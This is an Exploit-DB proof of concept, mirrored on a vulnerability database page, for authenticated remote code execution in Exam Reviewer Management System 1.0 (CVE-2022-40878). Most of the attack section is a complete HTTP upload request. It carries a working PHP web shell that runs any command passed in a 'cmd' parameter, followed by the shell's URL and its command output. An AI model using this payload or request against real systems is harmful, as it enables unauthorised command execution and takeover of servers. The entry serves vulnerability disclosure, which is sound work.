Lucene search
+L

Exam Reviewer Management System 1.0 - Authenticated Remote Code Execution (RCE)

🗓️ 09 Feb 2022 00:00:00Reported by Juli AgarwalType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 256 Views

Exam Reviewer Management System 1.0 RCE exploit

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2022-40878
28 Sep 202202:36
–circl
cnnvd
CNNVD
Simple Exam Reviewer Management System: Code Issues and Vulnerabilities
27 Sep 202200:00
–cnnvd
cnvd
CNVD
Simple Exam Reviewer Management System Arbitrary File Upload Vulnerability
29 Sep 202200:00
–cnvd
checkpoint_advisories
Check Point Advisories
Exam Reviewer Management System Arbitrary File Upload (CVE-2022-40878)
23 Nov 202200:00
–checkpoint_advisories
cve
CVE
CVE-2022-40878
27 Sep 202216:01
–cve
cvelist
Cvelist
CVE-2022-40878
27 Sep 202216:01
–cvelist
nvd
NVD
CVE-2022-40878
27 Sep 202223:15
–nvd
osv_cve
osv_cve
CVE-2022-40878
27 Sep 202223:15
–osv_cve
prion
Prion
Remote code execution
27 Sep 202223:15
–prion
ptsecurity
Positive Technologies
PT-2022-25602 · Unknown · Exam Reviewer Management System
27 Sep 202200:00
–ptsecurity
Rows per page
# Exploit Title: Exam Reviewer Management System 1.0 - Remote Code Execution (RCE) (Authenticated)
# Date: 2022-02-08
# Exploit Author:  Juli Agarwal(@agarwaljuli)
# Vendor Homepage:
https://www.sourcecodester.com/php/15160/simple-exam-reviewer-management-system-phpoop-free-source-code.html

# Software Link:
https://www.sourcecodester.com/download-code?nid=15160&title=Simple+Exam+Reviewer+Management+System+in+PHP%2FOOP+Free+Source+Code

# Version: 1.0
# Tested on: XAMPP, Kali Linux



Description – The application suffers from a remote code execution in the
admin panel. An authenticated attacker can upload a web-shell php file in
profile page to achieve remote code execution.



POC:-



==========

# Request:

==========

POST /erms/classes/Users.php?f=save HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101
Firefox/91.0

Accept: */*

Accept-Language: en-US,en;q=0.5

X-Requested-With: XMLHttpRequest

Content-Type: multipart/form-data;
boundary=---------------------------37791356766765055891341961306

Content-Length: 1004

Origin: http://localhost

Connection: close

Referer: http://localhost/erms/admin/?page=user

Cookie: PHPSESSID=22f0bd65ef694041af3177057e7fbd5a



-----------------------------37791356766765055891341961306

Content-Disposition: form-data; name="id"



1

-----------------------------37791356766765055891341961306

Content-Disposition: form-data; name="firstname"



Adminstrator

-----------------------------37791356766765055891341961306

Content-Disposition: form-data; name="lastname"



Admin

-----------------------------37791356766765055891341961306

Content-Disposition: form-data; name="username"



admin

-----------------------------37791356766765055891341961306

Content-Disposition: form-data; name="password"



-----------------------------37791356766765055891341961306

Content-Disposition: form-data; name="img"; filename="shell.php"

Content-Type: application/x-php



<html>

<body>

<b>Remote code execution: </b><br><pre>

                              <?php if(isset($_REQUEST['cmd'])){ echo
"<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

</pre>

</body>

</html>



-----------------------------37791356766765055891341961306—



================

# Webshell access:

================



# Webshell access via:

POC: http://localhost/erms/uploads/1644334740_shell.php?cmd=id



# Webshell response:

Remote code execution:

uid=1(daemon) gid=1(daemon) groups=1(daemon)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.18.8
EPSS0.24935
SSVC
256